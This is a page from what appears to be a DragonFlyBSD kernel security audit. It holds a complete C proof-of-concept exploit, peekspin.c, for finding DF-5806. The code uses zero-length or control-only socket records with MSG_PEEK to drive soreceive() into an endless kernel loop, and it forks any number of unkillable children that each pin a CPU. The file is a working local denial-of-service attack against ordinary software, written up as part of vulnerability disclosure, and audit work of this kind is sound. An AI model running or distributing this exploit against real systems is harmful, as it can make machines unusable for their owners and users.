⬢ DragonFlyBSD Kernel Audit
DF-5806 / peekspin.c
← back to finding ↓ download raw
/*
 * DF-5806 - DragonFlyBSD sys/kern/uipc_socket.c soreceive() livelock
 *
 * A receive-queue record that delivers zero bytes to the reader (a
 * zero-length datagram, or a control-only record with zero-length data)
 * combined with recv(2)/recvfrom(2) with MSG_PEEK drives soreceive()
 * into a zero-progress `goto restart` loop that never sleeps and never
 * returns:
 *
 *	sys/kern/uipc_socket.c:1596-1600
 *		if (orig_resid == resid && orig_resid &&
 *		    (flags & MSG_EOR) == 0 && (so->so_state & SS_CANTRCVMORE) == 0) {
 *			ssb_unlock(&so->so_rcv);
 *			goto restart;
 *		}
 *
 * MSG_PEEK consumes nothing, so orig_resid == resid on every iteration
 * and the loop spins forever holding the so_rcv token.  The thread never
 * sleeps, so it cannot be killed (kill -9 is ineffective) and each such
 * thread burns one CPU permanently.
 *
 * variant 0: AF_UNIX SOCK_STREAM + control-only (SCM_RIGHTS) record
 *            [control mbuf][0-length data mbuf]; cc=24 >= lowat(1), so the
 *            head-of-queue blocking check at 1340-1346 does not block.
 * variant 1: AF_UNIX SOCK_SEQPACKET + zero-length datagram; PR_ATOMIC
 *            makes the blocking condition at 1340-1346 always false, so a
 *            0-byte record with cc==0 also reaches the spin.
 *
 * usage: peekspin <variant> <nchildren>
 *        children wedge CPUs; parent prints and exits so the caller can
 *        observe the unkillable children.
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

static void
wedge(int variant)
{
	int sv[2];
	char buf[64];

	if (variant == 0) {
		char cbuf[CMSG_SPACE(sizeof(int))];
		struct msghdr mh;
		struct iovec iov;
		char scratch;
		struct cmsghdr *cm;

		if (socketpair(AF_UNIX, SOCK_STREAM, 0, sv) < 0) {
			perror("socketpair"); _exit(1);
		}
		memset(&mh, 0, sizeof(mh));
		memset(cbuf, 0, sizeof(cbuf));
		iov.iov_base = &scratch;
		iov.iov_len = 0;			/* zero-length data */
		mh.msg_iov = &iov;
		mh.msg_iovlen = 1;
		mh.msg_control = cbuf;
		mh.msg_controllen = sizeof(cbuf);
		cm = CMSG_FIRSTHDR(&mh);
		cm->cmsg_level = SOL_SOCKET;
		cm->cmsg_type = SCM_RIGHTS;
		cm->cmsg_len = CMSG_LEN(sizeof(int));
		*(int *)CMSG_DATA(cm) = sv[0];		/* pass any fd */
		if (sendmsg(sv[0], &mh, 0) < 0) {
			perror("sendmsg"); _exit(1);
		}
	} else {
		if (socketpair(AF_UNIX, SOCK_SEQPACKET, 0, sv) < 0) {
			perror("socketpair"); _exit(1);
		}
		if (send(sv[0], "", 0, 0) < 0) {
			perror("send"); _exit(1);
		}
	}

	/*
	 * Never returns: soreceive() spins on `goto restart` in kernel mode.
	 */
	recv(sv[1], buf, sizeof(buf), MSG_PEEK);
	_exit(0);	/* NOT REACHED */
}

int
main(int argc, char **argv)
{
	int variant = (argc > 1) ? atoi(argv[1]) : 0;
	int nchild = (argc > 2) ? atoi(argv[2]) : 1;
	int i;

	for (i = 0; i < nchild; i++) {
		pid_t pid = fork();
		if (pid < 0) {
			perror("fork"); _exit(1);
		}
		if (pid == 0)
			wedge(variant);
	}
	printf("spawned %d spinner(s), variant %d\n", nchild, variant);
	fflush(stdout);
	return (0);
}